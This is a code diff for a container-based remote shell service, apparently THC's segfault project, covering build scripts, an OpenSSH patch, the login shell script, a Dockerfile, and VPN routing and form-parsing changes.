docker run --network host --name sf-alpine-gcc alpine sh -c 'apk update && apk add gcc patch libc-dev musl-dev zlib-dev openssl-dev make linux-headers libcap-dev bash' \
|
||||
&& docker commit sf-alpine-gcc sf-alpine-gcc; }"
|
||||
|
||||
# See mk_sshd.sh for manual debugging
|
||||
fs-root/usr/sbin/sshd: sf-sshd.patch mk_sshd.sh
|
||||
docker run --rm -v$$(pwd):/src --net=host -w /tmp alpine-gcc /src/mk_sshd.sh
|
||||
fs-root/usr/sbin/sshd: albuild sf-sshd.patch mk_sshd.sh
|
||||
docker run --rm -v$$(pwd):/src --net=host -w /tmp --env VER=$(VER) sf-alpine-gcc /src/mk_sshd.sh
|
||||
@echo "Type 'make diff' to create a sf-sshd-$(VER).patch"
|
||||
|
||||
fs-root/bin/docker-exec-sigproxy: docker-exec-sigproxy.c
|
||||
docker run --rm -v$$(pwd):/src -w /src alpine-gcc gcc -Wall -O2 -o fs-root/bin/docker-exec-sigproxy docker-exec-sigproxy.c
|
||||
docker run --rm -v$$(pwd):/src -w /src sf-alpine-gcc gcc -Wall -O2 -o fs-root/bin/docker-exec-sigproxy docker-exec-sigproxy.c
|
||||
@echo SUCCESS
|
||||
|
||||
fs-root/bin/unix-socket-client: unix-socket-client.c
|
||||
docker run --rm -v$$(pwd):/src -w /src alpine-gcc gcc -Wall -O2 -o fs-root/bin/unix-socket-client unix-socket-client.c
|
||||
docker run --rm -v$$(pwd):/src -w /src sf-alpine-gcc gcc -Wall -O2 -o fs-root/bin/unix-socket-client unix-socket-client.c
|
||||
@echo SUCCESS
|
||||
|
||||
diff:
|
||||
cd dev && \
|
||||
diff -x '!*.[ch]' -u openssh-9.2p1-orig/ openssh-9.2p1-sf/ | grep -Ev ^"(Only in|Common)" >../sf-sshd.patch
|
||||
diff -x '!*.[ch]' -u openssh-$(VER)-orig/ openssh-$(VER)-sf/ | grep -Ev ^"(Only in|Common)" >../sf-sshd-$(VER).patch
|
||||
@echo "May want to 'mv sf-sshd-$(VER).patch sf-sshd.patch'."
|
||||
|
||||
clean:
|
||||
rm -rf openssh-9.2p1-sf fs-root/usr/sbin/sshd
|
||||
docker image rm alpine-gcc
|
||||
rm -rf openssh-$(VER)-orig openssh-$(VER)-sf fs-root/usr/sbin/sshd
|
||||
docker image rm sf-alpine-gcc
|
||||
|
||||
|
@ -182,6 +182,9 @@ done
|
||||
LXCFS_STR=$str
|
||||
}
|
||||
|
||||
# Find out if the host has /dev/kvm
|
||||
docker run --rm --device=/dev/kvm sf-host true && SF_HAS_DEV_KVM=1
|
||||
|
||||
# SSHD resets the environment variables. The environment variables relevant to the guest
|
||||
# are stored in a file here and then read by `segfaultsh'.
|
||||
# Edit 'segfaultsh' and add them to 'docker run --env' to pass any of these
|
||||
@ -201,7 +204,9 @@ SF_SHMDIR=\"${SF_SHMDIR}\"
|
||||
SF_RAND_OFS=\"$RANDOM\"
|
||||
SF_HM_SIZE_LG=\"$SF_HM_SIZE_LG\"
|
||||
SF_BACKING_FS=\"$SF_BACKING_FS\"
|
||||
SF_HAS_DEV_KVM=\"$SF_HAS_DEV_KVM\"
|
||||
SF_NS_NET=\"$(readlink /proc/self/ns/net)\"
|
||||
|
||||
LXCFS_ARGS=($LXCFS_STR)
|
||||
SF_FQDN=\"${SF_FQDN}\"" >/dev/shm/env.txt
|
||||
|
||||
|
@ -17,14 +17,6 @@
|
||||
# Load/restore environment variables from file
|
||||
# SF_DEBUG can be set by ssh-client with -o SetEnv SF_DEBUG=1 or by
|
||||
# docker compose '.env' file.
|
||||
SSH_SF_DEBUG="${SF_DEBUG}" # Set by SSH client
|
||||
[[ -f /dev/shm/env.txt ]] && eval "$(</dev/shm/env.txt)"
|
||||
[[ -z $SF_DEBUG ]] && SF_DEBUG="${SSH_SF_DEBUG}"
|
||||
unset SSH_SF_DEBUG
|
||||
eval "$(</sf/bin/funcs_redis.sh)" || exit
|
||||
# Debug Trace. see sf_trace-DISABLED
|
||||
[[ -f /bin/sf_trace ]] && eval "$(</bin/sf_trace)"
|
||||
|
||||
[[ -t 1 ]] && {
|
||||
CY="\e[1;33m" # yellow
|
||||
CDY="\e[0;33m" # yellow
|
||||
@ -43,6 +35,14 @@ CUL="\e[4m"
|
||||
CRY="\e[0;33;41m" # YELLOW on RED (warning)
|
||||
}
|
||||
|
||||
SSH_SF_DEBUG="${SF_DEBUG}" # Set by SSH client
|
||||
eval "$(cat /dev/shm/env.txt || echo false)" || exit
|
||||
[[ -z $SF_DEBUG ]] && SF_DEBUG="${SSH_SF_DEBUG}"
|
||||
unset SSH_SF_DEBUG
|
||||
eval "$(cat /sf/bin/funcs_redis.sh || echo false)" || exit
|
||||
# Debug Trace. see sf_trace-DISABLED
|
||||
[[ -f /bin/sf_trace ]] && eval "$(</bin/sf_trace)"
|
||||
|
||||
# [PREFIX] [MSG]
|
||||
_log()
|
||||
{
|
||||
@ -424,7 +424,7 @@ print_goodbye()
|
||||
|
||||
# Restricted shell (-r) wont let us redirect stderr - use a bash-exec trick
|
||||
# Note: pgrep is executed in user's context. Treat the output with care and do not trust it.
|
||||
n=$(bash -c "exec docker exec --user 0:0 \"lg-${LID}\" pgrep -c . 2>/dev/null" | head -n1)
|
||||
n=$(timeout 2 bash -c "exec docker exec --user 0:0 \"lg-${LID}\" pgrep -c . 2>/dev/null" | head -n1)
|
||||
[[ -z "$n" ]] && n=0
|
||||
[[ ${#n} -gt 5 ]] && n=0
|
||||
[[ ! $n -eq $n ]] && n=0
|
||||
@ -435,7 +435,7 @@ print_goodbye()
|
||||
str="process is"
|
||||
[[ "$n" -gt 1 ]] && str="processes are"
|
||||
echo -e "${CY}WARNING: ${CR}${n}${CY} ${str} still running:${CN}"
|
||||
exec_errnull docker exec --user 0:0 "lg-${LID}" pgrep . -al | tail -n+3 | while read -r x; do p="${x%% *} "; n="${x#* }"; echo -e "${CDY}--> ${CDR}${p:0:8}${CDG}${n:0:68}${CN}"; done
|
||||
exec_errnull timeout 2 docker exec --user 0:0 "lg-${LID}" pgrep . -al | tail -n+3 | while read -r x; do p="${x%% *} "; n="${x#* }"; echo -e "${CDY}--> ${CDR}${p:0:8}${CDG}${n:0:68}${CN}"; done
|
||||
echo -e "\
|
||||
-------> The encrypted filesystem in /sec will remain accessible until
|
||||
-------> the last shell exits or all background processes terminate.
|
||||
@ -443,16 +443,6 @@ print_goodbye()
|
||||
-------> This will also make /sec unavailabe until your next log in."
|
||||
fi
|
||||
echo -en "\r"
|
||||
[[ -z $SF_IS_PAYING ]] && {
|
||||
echo -e "\
|
||||
${CDY}@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@ ${CDG}** GET MORE MEMORY, SPEED, STORAGE AND NO RESTRICTIONS **${CDY} @@@
|
||||
@@@ ${CDR}${CUL}https://www.thc.org/segfault/free${CN}${CDY} @@@
|
||||
@@@ ${CB}${CUL}https://www.thc.org/segfault/upgrade${CN}${CDY} @@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@${CN}"
|
||||
|
||||
}
|
||||
|
||||
sysmsg "/config/host/etc/logoutmsg-all.sh"
|
||||
|
||||
echo -e "\
|
||||
@ -536,7 +526,7 @@ spawn_shell_exit()
|
||||
tofile "${YOUR_IP:?}" "${SF_RUN_DIR}/ips/lg-${LID}.ip"
|
||||
[[ -n $YOUR_GEOIP ]] && tofile "${YOUR_GEOIP}" "/config/self-for-guest/lg-${LID}/geoip"
|
||||
# Request a reverse Port Forward
|
||||
[[ -n $SF_RPORT_ON_LOGIN ]] && [[ -n $SF_RPORT ]] && [[ ! -f "/config/self-for-guest/lg-${LID}/reverse_ip" ]] && exec_devnull docker exec --user 0:0 "lg-${LID}" curl -s sf/port
|
||||
[[ -n $SF_RPORT_ON_LOGIN ]] && [[ -n $SF_RPORT ]] && [[ ! -f "/config/self-for-guest/lg-${LID}/reverse_ip" ]] && exec_devnull timeout 2 docker exec --user 0:0 "lg-${LID}" curl -s sf/port
|
||||
|
||||
|
||||
# Warn user if this is the last server by IP (after semaphore has been released)
|
||||
@ -573,18 +563,6 @@ mk_hostname()
|
||||
unset english
|
||||
}
|
||||
|
||||
setup_fs_limit()
|
||||
{
|
||||
# Return if 0 or not set
|
||||
[[ ! "${SF_USER_ROOT_FS_SIZE_NUM}" -gt 0 ]] && return 0 # true
|
||||
|
||||
# Backing FS must be of type XFS
|
||||
[[ "${SF_BACKING_FS}" != "xfs" ]] && ERREXIT 1 "Backing FS is not XFS but SF_USER_ROOT_FS_SIZE is set"
|
||||
|
||||
DOCKER_ARGS+=("--storage-opt")
|
||||
DOCKER_ARGS+=("size=${SF_USER_ROOT_FS_SIZE:?}")
|
||||
}
|
||||
|
||||
# 1. Set INODE limit per container. Docker does not support this via any
|
||||
# --storage-opt. Instead we start the container and add ourself to the
|
||||
# xfs quota group that docker set up. Yeahaaa..
|
||||
@ -617,12 +595,17 @@ load_limits()
|
||||
{
|
||||
local prefix
|
||||
local is_need_update_token
|
||||
local str
|
||||
local name
|
||||
local dst
|
||||
local arr
|
||||
local IFS
|
||||
# Set the default values.
|
||||
# No default for ROOT_FS limit. Should be set in sf.conf or if not set
|
||||
# then root is mounted read-only
|
||||
# SF_USER_ROOT_FS_SIZE=8g
|
||||
# SF_USER_ROOT_FS_INODE=65536
|
||||
# SF_USER_FS_SIZE=16g
|
||||
# SF_USER_ROOT_FS_INODE=65536
|
||||
# SF_USER_FS_INODE=65536
|
||||
SF_USER_MEMORY_LIMIT=256m
|
||||
SF_USER_PIDS_LIMIT=128
|
||||
@ -726,7 +709,18 @@ load_limits()
|
||||
DOCKER_ARGS+=("--oom-score-adj=${SF_USER_OOM_SCORE}")
|
||||
DOCKER_ARGS+=("--blkio-weight=${SF_USER_BLKIO_WEIGHT}")
|
||||
|
||||
[[ -n $SF_USER_DEV_KVM ]] && [[ -e /dev/kvm ]] && DOCKER_ARGS+=("--device=/dev/kvm")
|
||||
[[ -n $SF_USER_DEV_KVM ]] && [[ -n $SF_HAS_DEV_KVM ]] && DOCKER_ARGS+=("--device=/dev/kvm")
|
||||
|
||||
# Mount external filesystem into LG (for android builders who dont need encryption but high IO)
|
||||
[[ -n $SF_USER_FS_EXT ]] && {
|
||||
IFS=: read -ra arr <<<"$SF_USER_FS_EXT"
|
||||
|
||||
name=${arr[0]//[^a-z0-9A-Z]}
|
||||
dst=${arr[1]//[^a-z0-9A-Z\/]}
|
||||
str=${arr[2]//[^a-z,]}
|
||||
[[ -n $str ]] && str=":${str}"
|
||||
[[ -n $name ]] && [[ -n $dst ]] && [[ -e "/sf/ext/${name}" ]] && DOCKER_ARGS+=("-v${SF_BASEDIR}/data/ext/${name}:${dst}${str}")
|
||||
}
|
||||
|
||||
if [[ -z $SF_USER_ROOT_FS_SIZE ]]; then
|
||||
DOCKER_ARGS+=("--read-only")
|
||||
@ -736,20 +730,20 @@ load_limits()
|
||||
# HERE: Root-Fs is LIMITED in size
|
||||
# These files must be mounted read-only as these are special files
|
||||
# for docker and ingored by --opt storage-size= limitations.
|
||||
# Backing FS must be of type XFS
|
||||
[[ "${SF_BACKING_FS}" != "xfs" ]] && ERREXIT 1 "Backing FS is not XFS but SF_USER_ROOT_FS_SIZE is set"
|
||||
DOCKER_ARGS+=("--storage-opt")
|
||||
DOCKER_ARGS+=("size=${SF_USER_ROOT_FS_SIZE:?}")
|
||||
DOCKER_ARGS+=("-v${SF_BASEDIR}/config/etc/hosts:/etc/hosts:ro")
|
||||
DOCKER_ARGS+=("-v${SF_BASEDIR}/config/db/user/lg-${LID}/hostname:/etc/hostname:ro")
|
||||
DOCKER_ARGS+=("-v${SF_BASEDIR}/config/etc/resolv.conf:/etc/resolv.conf:ro")
|
||||
}
|
||||
fi
|
||||
|
||||
write_lg_limits
|
||||
|
||||
# NOTE: This is no longer used because /dev/shm is now mounted as tmpfs to make UML work
|
||||
# [[ -n $SF_SHM_SIZE ]] && DOCKER_ARGS+=("--shm-size=$SF_SHM_SIZE")
|
||||
|
||||
[[ -n $SF_SYSBOX ]] && SYSBOX_ARGS+=("--runtime=sysbox-runc")
|
||||
|
||||
setup_fs_limit || ERREXIT 202 "Can't configure XFS limit"
|
||||
}
|
||||
|
||||
# Publish user limits to self/limits, human readable.
|
||||
@ -808,6 +802,7 @@ check_banned()
|
||||
{
|
||||
local blfn
|
||||
|
||||
[[ ${SF_USER_ALLOW_IP,,} == "any" ]] && return
|
||||
[[ -e "${SF_BLACKLIST_DIR}/ip-${YOUR_IP}" ]] && blfn="${SF_BLACKLIST_DIR}/ip-${YOUR_IP}"
|
||||
[[ -z $blfn ]] && [[ -e "${SF_BLACKLIST_DIR}/net-${YOUR_IP%\.*}" ]] && blfn="${SF_BLACKLIST_DIR}/net-${YOUR_IP%\.*}"
|
||||
[[ -z $blfn ]] && return
|
||||
@ -984,7 +979,11 @@ check_limit_server_by_ip()
|
||||
|
||||
fn="/dev/shm/ip-${YOUR_IP_HASH}.conf"
|
||||
|
||||
[[ -f "$fn" ]] && {
|
||||
[[ ! -f "$fn" ]] && {
|
||||
tofile "ARR=($LID)" "$fn"
|
||||
return
|
||||
}
|
||||
|
||||
eval "$(grep ^ARR "$fn")"
|
||||
|
||||
local n
|
||||
@ -1017,14 +1016,13 @@ check_limit_server_by_ip()
|
||||
[[ "$((n+1))" -ge "${SF_LIMIT_SERVER_BY_IP}" ]] && [[ -z $HUSHLOGIN ]] && [[ -n $IS_LOGIN ]] && IS_SHOW_LAST_SERVER="$((n+1))"
|
||||
|
||||
[[ "$n" -ge 1 ]] && {
|
||||
# The 3rd and more servers from same IP get less CPU share
|
||||
# The 2nd and further servers from the same IP get less CPU share
|
||||
SF_USER_CPU_SHARE=2
|
||||
SF_USER_OOM_SCORE=1000
|
||||
SF_USER_NICE_SCORE=19
|
||||
SF_USER_BLKIO_WEIGHT=10
|
||||
# DEBUGF "${n}. server from ${YOUR_IP}. CPU_SHARE=${SF_USER_CPU_SHARE}, OOM=${SF_USER_OOM_SCORE}."
|
||||
}
|
||||
}
|
||||
|
||||
tofile "ARR=(${arr_new[*]} $LID)" "$fn"
|
||||
}
|
||||
@ -1175,6 +1173,8 @@ check_banned
|
||||
|
||||
mk_hostname
|
||||
|
||||
write_lg_limits
|
||||
|
||||
# Show system messages
|
||||
sysmsg "/config/host/etc/loginmsg-all.sh"
|
||||
|
||||
@ -1390,7 +1390,7 @@ exec_devnull docker exec sf-master /ready-lg.sh "${LID}" "${C_IP}" "${LG_PID}" "
|
||||
# Setup container (within container's namespace)
|
||||
unset WGNAME_UP
|
||||
[[ -s "${SF_USER_DB_DIR}/wg/name_up" ]] && WGNAME_UP="$(<"${SF_USER_DB_DIR}/wg/name_up")"
|
||||
exec_devnull docker exec --user 0:0 --env SF_IS_NEW_SERVER="${SF_IS_NEW_SERVER}" --env WGNAME_UP="${WGNAME_UP}" "lg-${LID}" /sf/bin/sf-setup.sh || STOPEXIT "${LID}" 247 "Failed-#2 to set up guest container..."
|
||||
exec_devnull timeout 5 docker exec --user 0:0 --env SF_IS_NEW_SERVER="${SF_IS_NEW_SERVER}" --env WGNAME_UP="${WGNAME_UP}" "lg-${LID}" /sf/bin/sf-setup.sh || STOPEXIT "${LID}" 247 "Failed-#2 to set up guest container..."
|
||||
touch "/config/self-for-guest/lg-${LID}/THIS-DIRECTORY-IS-IN-MEMORY-ONLY"
|
||||
tofile "${C_IP:?}" "/config/self-for-guest/lg-${LID}/c_ip"
|
||||
|
||||
|
@ -126,7 +126,7 @@ MaxStartups 128:10:1024
|
||||
#VersionAddendum none
|
||||
|
||||
# no default banner path
|
||||
#Banner none
|
||||
Banner /config/host/etc/ssh/banner
|
||||
|
||||
# override default of no subsystems
|
||||
Subsystem sftp /usr/lib/ssh/sftp-server
|
||||
|
@ -11,11 +11,17 @@
|
||||
DSTDIR="/src/fs-root/usr/sbin"
|
||||
DSTBIN="${DSTDIR}/sshd"
|
||||
set -e
|
||||
SRCDIR="/tmp/openssh-9.2p1"
|
||||
SRCDIR="/src/dev/openssh-${VER:?}-sf"
|
||||
[[ ! -d "/src/dev" ]] && mkdir -p "/src/dev"
|
||||
cd /src/dev
|
||||
[[ ! -d "$SRCDIR" ]] && {
|
||||
# Cloudflare to often returns 503 - "BLOCKED"
|
||||
# wget -O- https://cloudflare.cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz | tar xfz -
|
||||
wget -O- https://artfiles.org/openbsd/OpenSSH/portable/openssh-9.2p1.tar.gz | tar xfz -
|
||||
wget "https://artfiles.org/openbsd/OpenSSH/portable/openssh-${VER}.tar.gz"
|
||||
tar xfz "openssh-${VER}.tar.gz"
|
||||
mv "openssh-${VER}" "openssh-${VER}-orig"
|
||||
tar xfz "openssh-${VER}.tar.gz"
|
||||
mv "openssh-${VER}" "${SRCDIR}"
|
||||
|
||||
cd "$SRCDIR"
|
||||
|
||||
@ -23,6 +29,7 @@ SRCDIR="/tmp/openssh-9.2p1"
|
||||
}
|
||||
cd "$SRCDIR"
|
||||
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-libs=-lcap \
|
||||
--without-zlib-version-check \
|
||||
--disable-utmp \
|
||||
--disable-wtmp \
|
||||
--disable-utmpx \
|
||||
@ -38,5 +45,5 @@ strip sshd
|
||||
[[ ! -d "${DSTDIR}" ]] && mkdir -p "${DSTDIR}"
|
||||
cp sshd "${DSTBIN}"
|
||||
chmod 755 "${DSTBIN}"
|
||||
rm -rf "${SRCDIR:?}"
|
||||
# rm -rf "${SRCDIR:?}"
|
||||
|
||||
|
@ -1,7 +1,7 @@
|
||||
diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/channels.c openssh-9.2p1-sf/channels.c
|
||||
--- openssh-9.2p1-orig/channels.c 2023-02-02 12:21:54
|
||||
+++ openssh-9.2p1-sf/channels.c 2023-08-15 06:13:05
|
||||
@@ -3639,7 +3639,7 @@
|
||||
diff -x !*.[ch] -u openssh-9.6p1-orig/channels.c openssh-9.6p1-sf/channels.c
|
||||
--- openssh-9.6p1-orig/channels.c 2023-12-18 14:59:50
|
||||
+++ openssh-9.6p1-sf/channels.c 2024-01-20 17:50:15
|
||||
@@ -3683,7 +3683,7 @@
|
||||
ssh->chanctxt->IPv4or6 = af;
|
||||
}
|
||||
|
||||
@ -10,7 +10,7 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/channels.c openssh-9.2p1-s
|
||||
/*
|
||||
* Determine whether or not a port forward listens to loopback, the
|
||||
* specified address or wildcard. On the client, a specified bind
|
||||
@@ -3677,6 +3677,7 @@
|
||||
@@ -3721,6 +3721,7 @@
|
||||
* address and it was overridden.
|
||||
*/
|
||||
if (*listen_addr != '\0' &&
|
||||
@ -18,10 +18,10 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/channels.c openssh-9.2p1-s
|
||||
strcmp(listen_addr, "0.0.0.0") != 0 &&
|
||||
strcmp(listen_addr, "*") != 0) {
|
||||
ssh_packet_send_debug(ssh,
|
||||
diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/serverloop.c openssh-9.2p1-sf/serverloop.c
|
||||
--- openssh-9.2p1-orig/serverloop.c 2023-02-02 12:21:54
|
||||
+++ openssh-9.2p1-sf/serverloop.c 2023-08-15 06:18:17
|
||||
@@ -102,6 +102,12 @@
|
||||
diff -x !*.[ch] -u openssh-9.6p1-orig/serverloop.c openssh-9.6p1-sf/serverloop.c
|
||||
--- openssh-9.6p1-orig/serverloop.c 2023-12-18 14:59:50
|
||||
+++ openssh-9.6p1-sf/serverloop.c 2024-01-20 17:50:15
|
||||
@@ -101,6 +101,12 @@
|
||||
/* requested tunnel forwarding interface(s), shared with session.c */
|
||||
char *tun_fwd_ifnames = NULL;
|
||||
|
||||
@ -34,7 +34,7 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/serverloop.c openssh-9.2p1
|
||||
/* returns 1 if bind to specified port by specified user is permitted */
|
||||
static int
|
||||
bind_permitted(int port, uid_t uid)
|
||||
@@ -391,8 +397,10 @@
|
||||
@@ -388,8 +394,10 @@
|
||||
/* Clean up sessions, utmp, etc. */
|
||||
cleanup_exit(255);
|
||||
}
|
||||
@ -46,7 +46,7 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/serverloop.c openssh-9.2p1
|
||||
if (conn_in_ready &&
|
||||
process_input(ssh, connection_in) < 0)
|
||||
break;
|
||||
@@ -637,12 +645,14 @@
|
||||
@@ -634,12 +642,14 @@
|
||||
|
||||
if (strcmp(ctype, "session") == 0) {
|
||||
c = server_request_session(ssh);
|
||||
@ -67,7 +67,7 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/serverloop.c openssh-9.2p1
|
||||
}
|
||||
if (c != NULL) {
|
||||
debug_f("confirm %s", ctype);
|
||||
@@ -802,8 +812,20 @@
|
||||
@@ -799,8 +809,20 @@
|
||||
ssh_packet_send_debug(ssh, "Server has disabled port forwarding.");
|
||||
} else {
|
||||
/* Start listening on the port */
|
||||
@ -90,10 +90,10 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/serverloop.c openssh-9.2p1
|
||||
}
|
||||
if ((resp = sshbuf_new()) == NULL)
|
||||
fatal_f("sshbuf_new");
|
||||
diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/sshd.c openssh-9.2p1-sf/sshd.c
|
||||
--- openssh-9.2p1-orig/sshd.c 2023-02-02 12:21:54
|
||||
+++ openssh-9.2p1-sf/sshd.c 2023-08-15 06:13:05
|
||||
@@ -536,8 +536,71 @@
|
||||
diff -x !*.[ch] -u openssh-9.6p1-orig/sshd.c openssh-9.6p1-sf/sshd.c
|
||||
--- openssh-9.6p1-orig/sshd.c 2023-12-18 14:59:50
|
||||
+++ openssh-9.6p1-sf/sshd.c 2024-01-20 17:50:15
|
||||
@@ -531,8 +531,71 @@
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
@ -165,7 +165,7 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/sshd.c openssh-9.2p1-sf/ss
|
||||
privsep_postauth(struct ssh *ssh, Authctxt *authctxt)
|
||||
{
|
||||
#ifdef DISABLE_FD_PASSING
|
||||
@@ -576,8 +639,34 @@
|
||||
@@ -571,8 +634,34 @@
|
||||
|
||||
reseed_prngs();
|
||||
|
||||
|
@ -3,6 +3,7 @@
|
||||
FROM ubuntu:22.04
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
binutils \
|
||||
ca-certificates \
|
||||
curl \
|
||||
fcgiwrap \
|
||||
@ -16,6 +17,7 @@ RUN apt-get update \
|
||||
net-tools \
|
||||
netcat \
|
||||
nginx \
|
||||
openvpn \
|
||||
psmisc \
|
||||
redis-tools \
|
||||
tcpdump \
|
||||
|
@ -9,7 +9,10 @@ COLOR="always"
|
||||
ICON_ERROR=""
|
||||
SF_RUN_DIR="/dev/shm/sf/run"
|
||||
source /sf/bin/funcs.sh
|
||||
source /sf/bin/funcs_net.sh
|
||||
source /sf/bin/funcs_redis.sh
|
||||
# backward compat bug fix. If this is past >=2025 then this line can be removed.
|
||||
[[ -n ${SF_NET_ONION} ]] && { SF_NET_ONION="10.111.0.0/16"; SF_OVPN_HACK=1; }
|
||||
|
||||
[[ ! -d "/config/db" ]] && ERREXIT 255 "Not found: /config/db"
|
||||
[[ ! -d "/config/db/wg" ]] && mkdir -p "/config/db/wg"
|
||||
@ -44,15 +47,36 @@ Sanitize()
|
||||
[[ "${#REQUEST_URI}" -gt 512 ]] && BAIL "To long!" "ATTACK" ": REQUEST_URI(${#REQUEST_URI})=${REQUEST_URI:0:32}..."
|
||||
}
|
||||
|
||||
InitColors() {
|
||||
# COLOR is set (to 'always')
|
||||
Y=$CDY
|
||||
C=$CDC
|
||||
R=$CDR
|
||||
RR=$CR
|
||||
G=$CDG
|
||||
B=$CB
|
||||
M=$CDM
|
||||
YY=$CY
|
||||
W=$CW
|
||||
N=$CN
|
||||
F=$CF
|
||||
ICON_ERROR="💥 "
|
||||
ICON_WARN="💥 "
|
||||
}
|
||||
|
||||
GetFormVars()
|
||||
{
|
||||
local IFS
|
||||
local LC_ALL=C #make [:print:] ASCII safe
|
||||
local arr
|
||||
|
||||
IFS=\& read -r -a arr <<< "${REQUEST_BODY}"
|
||||
unset IFS
|
||||
|
||||
local i
|
||||
local str
|
||||
local a
|
||||
local b
|
||||
while [[ $i -lt ${#arr[@]} ]]; do
|
||||
str="${arr[$i]}"
|
||||
((i++))
|
||||
@ -61,6 +85,22 @@ GetFormVars()
|
||||
key=${key,,}
|
||||
val=${str#*=}
|
||||
|
||||
[[ ${key} == "config" ]] && {
|
||||
R_CONFIG="${val//[^[:alnum:]-_+\/.]}"
|
||||
[[ ${R_CONFIG:0:1} == "-" ]] && unset R_CONFIG
|
||||
}
|
||||
[[ ${key} == "pass"* ]] && R_PASS="${val//[^[:print:]]}"
|
||||
[[ ${key} == "user"* ]] && R_USER="${val//[^[:print:]]}"
|
||||
[[ ${key} == "keypass"* ]] && R_KEYPASS="${val//[^[:print:]]}"
|
||||
[[ ${key} == "route" ]] && [[ ${#R_ROUTE_ARR[@]} -lt 10 ]] && {
|
||||
local arr2
|
||||
IFS="/" read -r -a arr2 <<<"$val"
|
||||
a=${arr2[0]//[^0-9.]}
|
||||
[[ -z $a ]] && continue
|
||||
b=${arr2[1]//[^0-9]}
|
||||
R_ROUTE_ARR+=("${a}/${b:-32}")
|
||||
}
|
||||
|
||||
[[ ${key} == "nocolor" ]] && unset COLOR
|
||||
[[ ${key} == "nocreat" ]] && IS_NOCREAT=1
|
||||
# [[ ${key} == "verbose" ]] && IS_VERBOSE=1
|
||||
@ -104,6 +144,9 @@ GetFormVars()
|
||||
[[ ! "${WG_DEV}" =~ ^wg ]] && WG_DEV="wg${WG_DEV}"
|
||||
}
|
||||
done
|
||||
|
||||
[[ -n $COLOR ]] && InitColors
|
||||
[[ -n "$R_CONFIG" ]] && [[ "${R_CONFIG:0:1}" != "/" ]] && BAIL "Path not absolute. Try ${C}curl ... -d config=\"\$(pwd)/${R_CONFIG}\"${N}"
|
||||
}
|
||||
|
||||
# Load PID of WireGuard container
|
||||
@ -413,24 +456,6 @@ xrm()
|
||||
return $err
|
||||
}
|
||||
|
||||
set_route()
|
||||
{
|
||||
# Add static routes for RPC
|
||||
# nsenter -t "${PID}" -n ip route add "${SF_PC_IP}/32" dev eth0 # NOT NEEDED: RPC is on same network
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_TOR_IP}" via "${SF_NET_LG_ROUTER_IP}" 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_NET_ONION}" via "${SF_NET_LG_ROUTER_IP}" 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_DNS}" via "${SF_NET_LG_ROUTER_IP}" 2>/dev/null
|
||||
[[ -n $SF_MULLVAD_ROUTE ]] && nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_MULLVAD_ROUTE}" via "${SF_NET_LG_ROUTER_IP}" 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route del default 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add default dev "${WG_DEV}"
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip -6 route add default dev "${WG_DEV}"
|
||||
|
||||
# Packets to 172.16.0.3 should not be forwarded back to 172.16.0.3
|
||||
# Can not use 'sysctl net.ipv4.conf.wgExit.forwarding=1' because /proc is mounted ro
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n iptables -I FORWARD -i "${WG_DEV}" -j DROP
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip6tables -I FORWARD -i "${WG_DEV}" -j DROP
|
||||
}
|
||||
|
||||
set_normal_route()
|
||||
{
|
||||
# Delete static routes
|
||||
@ -442,19 +467,23 @@ set_normal_route()
|
||||
# Should not exist anyway:
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route del default 2>/dev/null
|
||||
|
||||
# WG OUT specific
|
||||
epip=$(nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route show | grep -F "via ${SF_NET_LG_ROUTER_IP} dev" | grep -v ^default)
|
||||
# EndPoint
|
||||
epip=$(nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route show | grep -F "via ${SF_NET_LG_ROUTER_IP} dev" | grep -v ^default | tail -n1)
|
||||
epip="${epip%% *}"
|
||||
epip=${epip//[^0-9.]}
|
||||
[[ -n $epip ]] && nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route del "${epip}" via "${SF_NET_LG_ROUTER_IP}" 2>/dev/null
|
||||
|
||||
# Restore default routing
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add default via "${SF_NET_LG_ROUTER_IP}" || { echo "Oops. Could not set default route."; return; }
|
||||
echo -e "${Y}WARNING${N}: All traffic exits via the DEFAULT ROUTE now."
|
||||
# Zero the file
|
||||
:>"${LID_PROMPT_FN}"
|
||||
}
|
||||
|
||||
mk_normal_route() {
|
||||
set_normal_route
|
||||
echo -e "${Y}WARNING${N}: All traffic exits via the DEFAULT ROUTE now."
|
||||
}
|
||||
|
||||
net_down()
|
||||
{
|
||||
local name
|
||||
